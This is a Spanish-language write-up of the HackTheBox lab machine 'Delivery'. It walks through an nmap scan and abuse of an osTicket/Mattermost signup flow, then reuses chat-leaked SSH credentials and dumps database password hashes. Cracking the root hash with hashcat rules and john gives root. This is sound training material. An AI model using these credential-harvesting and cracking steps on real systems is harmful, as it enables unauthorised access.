Delivery es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Delivery 10.10.10.222 a /etc/hosts como delivery.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
# Nmap 7.70 scan initiated Mon Jan 18 15:32:25 2021 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.222 Nmap scan report for 10.10.10.222 Host is up (0.060s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA) | 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA) |_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Welcome 8065/tcp open unknown | fingerprint-strings: | GenericLines, Help, RTSPRequest, SSLSessionReq, TLSSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache, max-age=31556926, public | Content-Length: 3108 | Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com | Content-Type: text/html; charset=utf-8 | Last-Modified: Mon, 18 Jan 2021 02:54:27 GMT | X-Frame-Options: SAMEORIGIN | X-Request-Id: hrjugodykbyz3rx947qee5wnxr | X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false | Date: Mon, 18 Jan 2021 14:36:29 GMT | <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Date: Mon, 18 Jan 2021 14:36:30 GMT |_ Content-Length: 0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8065-TCP:V=7.70%I=7%D=1/18%Time=60059C23%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x SF:20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\ SF:x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20public\ SF:r\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-ancesto SF:rs\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nConten SF:t-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Mon,\x2018\ SF:x20Jan\x202021\x2002:54:27\x20GMT\r\nX-Frame-Options:\x20SAMEORIGIN\r\n SF:X-Request-Id:\x20hrjugodykbyz3rx947qee5wnxr\r\nX-Version-Id:\x205\.30\. SF:0\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20Mon,\x SF:2018\x20Jan\x202021\x2014:36:29\x20GMT\r\n\r\n<!doctype\x20html><html\x SF:20lang=\"en\"><head><meta\x20charset=\"utf-8\"><meta\x20name=\"viewport SF:\"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1,user SF:-scalable=0\"><meta\x20name=\"robots\"\x20content=\"noindex,\x20nofollo SF:w\"><meta\x20name=\"referrer\"\x20content=\"no-referrer\"><title>Matter SF:most</title><meta\x20name=\"mobile-web-app-capable\"\x20content=\"yes\" SF:><meta\x20name=\"application-name\"\x20content=\"Mattermost\"><meta\x20 SF:name=\"format-detection\"\x20content=\"telephone=no\"><link\x20re")%r(H SF:TTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:\x2 SF:0Mon,\x2018\x20Jan\x202021\x2014:36:30\x20GMT\r\nContent-Length:\x200\r SF:\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n SF:400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r SF:\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close SF:\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x2 SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HT SF:TP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20cha SF:rset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Jan 18 15:34:32 2021 -- 1 IP address (1 host up) scanned in 127.57 seconds |
Visto el primer escaneo procederemos a realizar la enumeración sobre los puertos web descubiertos, el 80 y el 8065.
Enumeracion
Accedemos en primer lugar al portal web situado en el puerto 80 y observamos la siguiente página:
Revisamos el portal y encontramos un subdominio revisando el código fuente:
1 |
<!--[-->For an account check out our <a href="http://helpdesk.delivery.htb">helpdesk</a><!--]--></p> |
Así que añadimos el mismo en el fichero /etc/hosts y accedemos a través del navegador, observando un portal basado en el software de gestión de tickets osticket
En el mismo probamos a crear una cuenta pero necesitamos obtener un correo en el cual recibir la confirmación así que dejamos este punto a un lado y procedemos a crear un ticket para ver su funcionamiento.
Al crear el ticket nos muestra una página con el identificador del mismo así que utilizaremos el correo que indicamos y dicho id para observar el ticket que acabamos de crear como vemos en la siguiente captura:
Revisamos el site un poco pero no podemos hacer mucho más por el momento así que continuaremos con nuestra búsqueda.
Volviendo a la página inicial en el puerto 80 revisamos el texto que muestra al pinchar en el botón “Contact us”
Tal como indica en el anterior texto, una vez disponemos de una dirección de correo del dominio delivery.htb podemos utilizar la misma para acceder en el servidor de Mattermost, existente en el puerto 8065, así que accedemos al mismo y nos registramos con dichos datos:
Creamos nuestra cuenta y volveremos a ver el ticket que creamos anteriormente y obtendremos una sorpresa en el mismo, el enlace para verificar la cuenta que acabamos de crear en Mattermost
Así que accedemos mediante la url que nos ha generado para activar nuestra cuenta:
Accedemos con los datos que incluimos a la hora de crear la cuenta y observaremos un listado de los grupos existentes en el mismo:
Y al acceder al grupo “internal” observaremos el siguiente chat con varios mensajes en el mismo:
Vemos un mensaje por parte de root que incluye unas credenciales:
1 2 3 |
@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_G0t_Mail! Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!" |
Y utilizaremos las mismas para acceder por ssh con el usuario maildeliverer.
Obteniendo la flag de user
Probamos el acceso por ssh con las credenciales obtenidas y estamos dentro de la máquina, consiguiendo también la flag de user que queríamos conseguir:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ ssh maildeliverer@10.10.10.222 The authenticity of host '10.10.10.222 (10.10.10.222)' can't be established. ECDSA key fingerprint is SHA256:LKngIDlEjP2k8M7IAUkAoFgY/MbVVbMqvrFA6CUrHoM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.222' (ECDSA) to the list of known hosts. maildeliverer@10.10.10.222's password: Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jan 5 06:09:50 2021 from 10.10.14.5 maildeliverer@Delivery:~$ id uid=1000(maildeliverer) gid=1000(maildeliverer) groups=1000(maildeliverer) maildeliverer@Delivery:~$ ls -l total 4 -r-------- 1 maildeliverer maildeliverer 33 Jan 18 10:15 user.txt maildeliverer@Delivery:~$ cat user.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 maildeliverer@Delivery:~$ |
Ahora que ya tenemos la flag de user, continuamos para root.
Escalado de privilegios
Revisamos el sistema y encontramos el fichero de configuración de mattermost en la ruta:
1 |
/opt/mattermost/config/config.json |
En el cual podemos observar una parte muy interesante, que incluye los datos de conexión a la base de datos utilizada por el portal en dicho fichero:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
"SqlSettings": { "DriverName": "mysql", "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s", "DataSourceReplicas": [], "DataSourceSearchReplicas": [], "MaxIdleConns": 20, "ConnMaxLifetimeMilliseconds": 3600000, "MaxOpenConns": 300, "Trace": false, "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez", "QueryTimeout": 30, "DisableDatabaseSearch": false }, |
Y vemos que tenemos unas credenciales:
1 |
mmuser:Crack_The_MM_Admin_PW |
Así que accedemos con las mismas y observamos la tabla mattermost:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -pCrack_The_MM_Admin_PW Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 60 Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mattermost | +--------------------+ 2 rows in set (0.001 sec) MariaDB [(none)]> use mattermost; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [mattermost]> |
Revisamos las tablas existentes en el mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
MariaDB [mattermost]> show tables; +------------------------+ | Tables_in_mattermost | +------------------------+ | Audits | | Bots | | ChannelMemberHistory | | ChannelMembers | | Channels | | ClusterDiscovery | | CommandWebhooks | | Commands | | Compliances | | Emoji | | FileInfo | | GroupChannels | | GroupMembers | | GroupTeams | | IncomingWebhooks | | Jobs | | Licenses | | LinkMetadata | | OAuthAccessData | | OAuthApps | | OAuthAuthData | | OutgoingWebhooks | | PluginKeyValueStore | | Posts | | Preferences | | ProductNoticeViewState | | PublicChannels | | Reactions | | Roles | | Schemes | | Sessions | | SidebarCategories | | SidebarChannels | | Status | | Systems | | TeamMembers | | Teams | | TermsOfService | | ThreadMemberships | | Threads | | Tokens | | UploadSessions | | UserAccessTokens | | UserGroups | | UserTermsOfService | | Users | +------------------------+ |
Y revisaremos la tabla users:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
MariaDB [mattermost]> desc Users; +--------------------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +--------------------+--------------+------+-----+---------+-------+ | Id | varchar(26) | NO | PRI | NULL | | | CreateAt | bigint(20) | YES | MUL | NULL | | | UpdateAt | bigint(20) | YES | MUL | NULL | | | DeleteAt | bigint(20) | YES | MUL | NULL | | | Username | varchar(64) | YES | UNI | NULL | | | Password | varchar(128) | YES | | NULL | | | AuthData | varchar(128) | YES | UNI | NULL | | | AuthService | varchar(32) | YES | | NULL | | | Email | varchar(128) | YES | UNI | NULL | | | EmailVerified | tinyint(1) | YES | | NULL | | | Nickname | varchar(64) | YES | | NULL | | | FirstName | varchar(64) | YES | | NULL | | | LastName | varchar(64) | YES | | NULL | | | Position | varchar(128) | YES | | NULL | | | Roles | text | YES | | NULL | | | AllowMarketing | tinyint(1) | YES | | NULL | | | Props | text | YES | | NULL | | | NotifyProps | text | YES | | NULL | | | LastPasswordUpdate | bigint(20) | YES | | NULL | | | LastPictureUpdate | bigint(20) | YES | | NULL | | | FailedAttempts | int(11) | YES | | NULL | | | Locale | varchar(5) | YES | | NULL | | | Timezone | text | YES | | NULL | | | MfaActive | tinyint(1) | YES | | NULL | | | MfaSecret | varchar(128) | YES | | NULL | | +--------------------+--------------+------+-----+---------+-------+ 25 rows in set (0.001 sec) MariaDB [mattermost]> |
Donde observamos que existen varios usuarios y el hash de los mismos, entre ellos el usuario root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
MariaDB [mattermost]> select Username,Password from Users; +----------------------------------+--------------------------------------------------------------+ | Username | Password | +----------------------------------+--------------------------------------------------------------+ | surveybot | | | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | | d4rkdr34d | $2a$10$4oS/vN.bgZsh9dq0YUAn0exA/L/dZDY0X1DQdV5OISSOrq89FZY1W | | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | | root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | | channelexport | | | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | +----------------------------------+--------------------------------------------------------------+ 8 rows in set (0.001 sec) MariaDB [mattermost]> |
Ahora que ya tenemos el hash de root, necesitamos descifrar el mismo, y teníamos una pista en el chat que vimos anteriormente en mattermost donde decía lo siguiente:
1 |
PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases. |
Así que utilizaremos hashcat para generar nuestro diccionario. Generaremos un fichero con el contenido que indica en el texto:
1 |
PleaseSubscribe! |
Y generamos nuestro diccionario mediante las reglas existentes en hashcat:
1 |
$ hashcat -r /usr/share/hashcat/rules/best64.rule --stdout word > wordlist.txt |
Ahora nos queda lanzar la fuerza bruta para descifrar el hash, en nuestro caso lo hemos hecho utilizando john the ripper:
1 2 3 4 5 6 7 8 9 10 |
$ john roothash -w=wordlist.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status PleaseSubscribe!21 (?) 1g 0:00:00:00 DONE (2021-01-18 16:56) 2.173g/s 78.26p/s 78.26c/s 78.26C/s PleaseSubscribe!12..PleaseSubscrio Use the "--show" option to display all of the cracked passwords reliably Session completed |
Y conseguimos la password:
1 |
PleaseSubscribe!21 |
Obteniendo la flag de root
Ahora que tenemos la password de root, nos queda escalar a dicho usuario y conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
maildeliverer@Delivery:/opt/mattermost/config$ su - Password: root@Delivery:~# id uid=0(root) gid=0(root) groups=0(root) root@Delivery:~# ls -l total 16 -rwxr-x--- 1 root root 103 Dec 26 11:26 mail.sh -r-------- 1 root root 382 Dec 28 07:02 note.txt -rw-r----- 1 root root 1499 Dec 26 10:55 py-smtp.py -r-------- 1 root root 33 Jan 18 10:15 root.txt root@Delivery:~# cat root.txt 6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 root@Delivery:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace